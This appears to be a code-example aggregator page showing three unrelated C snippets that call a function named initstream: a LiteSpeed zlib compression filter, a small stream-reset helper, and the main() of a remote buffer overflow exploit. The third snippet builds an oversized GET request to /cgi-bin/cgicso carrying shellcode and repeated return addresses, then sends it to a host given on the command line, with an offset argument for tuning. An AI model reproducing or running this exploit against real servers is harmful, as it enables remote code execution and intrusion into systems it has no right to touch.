Beispiel #1
0
static int compressbuf(lsi_param_t *rec, lsi_module_t *pModule,
                       int isSend)
{
    const char *pSendingStr, *pCompressStr, *pZipStr, *pModuleStr;
    zbufinfo_t *pBufInfo;
    z_stream *pStream;
    int ret;
    int finish = Z_NO_FLUSH;
    zmoddata_t *myData = (zmoddata_t *)g_api->get_module_data(
                             rec->session, pModule, LSI_DATA_HTTP);
    if (myData == NULL)
        return LSI_ERROR;
    pSendingStr = isSend ? SENDING_STR : RECVING_STR;
    pBufInfo = isSend ? myData->send : myData->recv;

    if (pBufInfo == NULL)
        return LSI_ERROR;

    pStream = &pBufInfo->zstream;
    pCompressStr = pBufInfo->compresslevel ? COMPRESS_STR : DECOMPRESS_STR;
    pZipStr = pBufInfo->compresslevel ? ZIP_STR : UNZIP_STR;
    pModuleStr = g_api->get_module_name(pModule);

    if (pBufInfo->zstate == Z_UNINITED)
    {
        if (initstream(pStream, pBufInfo->compresslevel) == LS_FAIL)
        {
            g_api->log(rec->session, LSI_LOG_ERROR,
                       "[%s%s] initZstream init method [%s], failed.\n",
                       pModuleStr, pCompressStr, pZipStr);
            ret = LSI_HKPT_RECV_RESP_BODY;
            g_api->enable_hook(rec->session, pModule, 0,
                                                &ret, 1); // Disable
            return g_api->stream_write_next(rec, (const char *)rec->ptr1,
                                            rec->len1);
        }
        g_api->log(rec->session, LSI_LOG_DEBUG,
                   "[%s%s] initZstream init method [%s], succeeded.\n",
                   pModuleStr, pCompressStr, pZipStr);
        pBufInfo->zstate = Z_INITED;
    }

    if (pBufInfo->zstate < Z_EOF)
    {
        pStream->avail_in = rec->len1;
        pStream->next_in = (Byte *)rec->ptr1;
        if (rec->flag_in & LSI_CBFI_EOF)
        {
            pBufInfo->zstate = Z_EOF;
            rec->flag_in |= LSI_CBFI_FLUSH;
        }
        else if (rec->flag_in & LSI_CBFI_FLUSH)
            finish = Z_PARTIAL_FLUSH;
    }
    rec->flag_in &= ~LSI_CBFI_EOF;
    if (pBufInfo->zstate == Z_EOF)
        finish = Z_FINISH;
    return doCompression(rec, pBufInfo, finish, pModuleStr, pSendingStr,
                         pCompressStr);
}
Beispiel #2
0
static void resetstream(void)
{
    exitstream();
    initstream();
}
Beispiel #3
0
int main(int argc, char *argv[]) {
  char *buf, *p;
  long *addressp, address=RET;
  int i, diff=(strlen(code) - strlen(noncode)), sock, debug=0;
  struct hostent *t;
  struct sockaddr_in s;


  if(argc < 2) {
    fprintf(stderr, "usage: %s <host> [offset [--debug]]\n", argv[0]);
    exit(-1);
  }

  if(argc > 2)
    address -= atoi(argv[2]);

  if(argc > 3) {
    if((!strcmp(argv[3], "--debug")) || (!strcmp(argv[3], "-d")))
      debug = 1;
  }


  fprintf(stderr, "Using Address: 0x%lx\n", address);

  buf = (char *)malloc(44 + LEN + diff + 1);
  p = buf;


  (*p++) = 'G';
  (*p++) = 'E';
  (*p++) = 'T';
  (*p++) = ' ';
  (*p++) = '/';
  (*p++) = 'c';
  (*p++) = 'g';
  (*p++) = 'i';
  (*p++) = '-';
  (*p++) = 'b';
  (*p++) = 'i';
  (*p++) = 'n';
  (*p++) = '/';
  (*p++) = 'c';
  (*p++) = 'g';
  (*p++) = 'i';
  (*p++) = 'c';
  (*p++) = 's';
  (*p++) = 'o';
  (*p++) = '?';
  (*p++) = 'f';
  (*p++) = 'i';
  (*p++) = 'n';
  (*p++) = 'g';
  (*p++) = 'e';
  (*p++) = 'r';
  (*p++) = 'h';
  (*p++) = 'o';
  (*p++) = 's';
  (*p++) = 't';
  (*p++) = '=';
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = '&';
  (*p++) = 'q';
  (*p++) = 'u';
  (*p++) = 'e';
  (*p++) = 'r';
  (*p++) = 'y';
  (*p++) = '=';
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = 'A'; // Yes this should be an A
  (*p++) = 'A'; // Yes this should be an A

  for(i=0; i<strlen(code); i++)
    (*p++) = code[i];

  addressp = (long *)p;

  for(i=0; i<(LEN - strlen(code)) + diff; i+=4)
    (*addressp++) = address;


  strcat(buf, "\n\n");
  fprintf(stderr, "Using length: %d\n", strlen(buf));




/*
 * Connect
 */

  if(s.sin_addr.s_addr=inet_addr(argv[1])) {
    if(!(t=gethostbyname(argv[1]))) {
      printf("Connection Failed.\n");
      exit(-1);
    }

    memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
  }

  s.sin_family=AF_INET;
  s.sin_port=htons(PORT);

  sock=socket(AF_INET,SOCK_STREAM,0);


  if(connect(sock,(struct sockaddr*)&s,sizeof(s))) {
    fprintf(stderr, "Connection failed.\n");
    exit(-1);
  }

  fprintf(stderr, "done.\n");
  fprintf(stderr, "Sending buffer... ");
  send(sock, buf, strlen(buf), 0);
  fprintf(stderr, "done.\n");

  sleep(2);

  if(debug == 1) {
    fprintf(stderr, "Entering Debug Mode... \n");
    initstream(sock);
  }

  close(sock);
  free(buf);
  exit(0);
}